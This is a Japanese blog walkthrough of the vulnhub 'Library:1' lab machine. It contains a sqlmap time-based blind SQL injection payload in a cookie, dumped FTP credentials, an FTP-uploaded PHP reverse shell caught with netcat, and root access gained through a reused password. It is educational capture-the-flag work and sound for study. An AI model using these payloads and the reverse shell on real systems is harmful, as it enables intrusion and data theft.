0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

vulnhub Walkthrough:Library:1

Last updated at Posted at 2021-01-11

初心者がいっぱしのセキュリティエンジニアを目指す為に勉強した備忘録となりますので間違っているとことがあるかもしれません。
vulnhubの意図的に脆弱性が作り込まれたLibrary:1のWalkthroughとなります。

vulnhubの情報

Name The Library: 1
Date release 22 Jul 2019
Author Avraham Cohen
Series The Library

PortScan:

nmapを使用して、対象マシーンのポートを調べてみた結果、ftpApacheが存在することがわかりました。

PORT SERVICE VERSION
21 ftp vsftpd 3.0.3
80 http Apache httpd 2.4.18 ((Ubuntu))

root@kali:~# nmap -sS -sV 192.168.56.56
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-02 01:57 EDT
Nmap scan report for 192.168.56.56
Host is up (0.00040s latency).
Not shown: 969 filtered ports, 29 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:4F:A7:48 (Oracle VirtualBox virtual NIC)
Service Info: OS: Unix


Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.72 seconds

Enumeration:

 Webサイトのディレクトリをdirbを使用して探した結果、/library.phpが存在することがわかりました。


root@kali:~# dirb http://192.168.56.56 -X .php
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Sat May  2 02:02:21 2020
URL_BASE: http://192.168.56.56/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]
-----------------
 GENERATED WORDS: 4612

---- Scanning URL: http://192.168.56.56/ ----
+ http://192.168.56.56/library.php (CODE:200|SIZE:1547)                                                                                                
-----------------
END_TIME: Sat May  2 02:02:26 2020
DOWNLOADED: 4612 - FOUND: 1

/library.phpBurpSuiteを使用しリクエストを確認したところ、lastviewedがエンコードされていることに気付きました。
スクリーンショット 2020-05-02 19.13.59.png

lastviewedをデコードしたところ、JSON形式であることがわかりました。

スクリーンショット 2020-05-02 19.18.39.png

Exploitation:

sqlインジェクションが存在しないかsqlmapを使用して確認してみます。
対象のリクエストをコピーしてファイルを作成します。


root@kali:~# cat file.txt 
GET /library.php HTTP/1.1
Host: 192.168.56.56
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.56/library.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Cookie: PHPSESSID=i0s591hi99ssf31glunhju11r1; lastviewed={"lastviewed"=="*"}
Connection: close
Upgrade-Insecure-Requests: 1

{"lastviewed"=="*”}””内にインジェクションを挿入するを入れます。
ファイルの準備が終わったのでsqlmapを実行します。


root@kali:~# sqlmap -r file.txt --dbs --level 3
---
Parameter: Cookie #1* ((custom) HEADER)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: PHPSESSID=scg8fiveuounn01rfn5rqo2oc2; lastviewed="{"lastviewed"=="'' AND (SELECT * FROM (SELECT(SLEEP(5)))CVfX)-- DEfZ"}"
---
[06:28:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[06:28:24] [INFO] fetching database names
[06:28:24] [INFO] fetching number of databases
[06:28:24] [INFO] resumed: 5
[06:28:24] [INFO] resumed: information_schema
[06:28:24] [INFO] resumed: library
[06:28:24] [INFO] resumed: mysql
[06:28:24] [INFO] resumed: performance_schema
[06:28:24] [INFO] resumed: sys
available databases [5]:
[*] information_schema
[*] library
[*] mysql
[*] performance_schema
[*] sys

[06:28:24] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.56'

[*] ending @ 06:28:24 /2020-05-02/

DBの名前を確認することができました。sqlインジェクションが存在するようです。
sqlmapを使用してlibraryのテブールを確認したところaccessテーブルにftpのログイン情報がありました。


root@kali:~/vulnhub# sqlmap -r file.txt -D library --dump --level 3

Database: library
Table: access
[1 entry]
+----+---------+----------+----------------+
| id | service | username | password       |
+----+---------+----------+----------------+
| 1  | ftp     | globus   | AroundTheWorld |
+----+---------+----------+----------------+

Database: library
Table: countries
[9 entries]
+----+-------------+
| id | name        |
+----+-------------+
| 1  | Netherlands |
| 2  | England     |
| 3  | Germany     |
| 4  | France      |
| 5  | Romania     |
| 6  | Scotland    |
| 7  | Spain       |
| 8  | Sweden      |
| 9  | Norway      |
+----+-------------+

FTPのユーザ情報を知ることができたので、FTPに接続してみます。
無事に接続することができました。


root@kali:~/vulnhub# ftp 192.168.56.56
Connected to 192.168.56.56.
220 (vsFTPd 3.0.3)
Name (192.168.56.56:root): globus
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 1001     1001         4096 Jul 22  2019 html
226 Directory send OK.
ftp>

FTPに接続することができのた、reverse-shellをアップロードしサーバに接続できるようにします。
今回はKali linuxに準備されているphp-reverse-shell.phpを使用します。


root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php shell.php

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 1001     1001         4096 Jul 22  2019 html
226 Directory send OK.
ftp> cd html
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx    1 0        0           11321 Jul 17  2019 index.html
-rwxrwxrwx    1 0        0            2831 Jul 22  2019 library.php
-rwxrwxrwx    1 0        0            3172 Jul 21  2019 style.css
226 Directory send OK.
ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5494 bytes sent in 0.03 secs (210.9556 kB/s)
ftp> chmod 777 shell.php
200 SITE CHMOD command ok.

無事にアップロードすることができました。(実行権限も付与してます)

そこで、Webブラウザーでアップロードしたshell.phpを実行する前にnetcatを使用して接続を待ち受けます。shell.phpを実行し、無事に接続することができました。


root@kali:~# netcat -lvp 1234
listening on [any] 1234 ...
192.168.56.56: inverse host lookup failed: Unknown host
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.56] 55648
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
 09:57:13 up  2:11,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$

Privilege Escalation:

library.phpの中身を確認してみます。

$ cd /var/www/html
$ cat library.php

確認したところ、databaseに接続すると為のユーザ情報がありました。

$DATABASE_HOST = 'localhost';
$DATABASE_USER = 'username';
$DATABASE_PASS = 'password';
$DATABASE_NAME = 'library';

rootユーザのパスがpasswordである可能性がある為、suコマンドを使用して確認してみます。
pythonでインタラクティブなシェルを取得し,suでユーザをroot、パスワードをpasswordとしたところroot権限になることができました。

いぇ〜い


$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@ubuntu:/var/www/html$ su root
su root
Password: password

root@ubuntu:/var/www/html# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/var/www/html# whoami
whoami
root

免責事項

本記事は情報セキュリティにおける攻撃の理解、防衛のスキル向上を目的としたセキュリティに関する内容がございます。本記事の内容を使用し発生した如何なる損害や損失について、当記事作成者は一切の責任を負いません。
本記事の内容を実際に使用して、第三者の個人や組織などを攻撃した場合は
法律により罰せられる可能性がありので、必ず自身が所有している環境のみを
対象とし、他人や組織が所有している環境は決して対象としないようお願いします。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?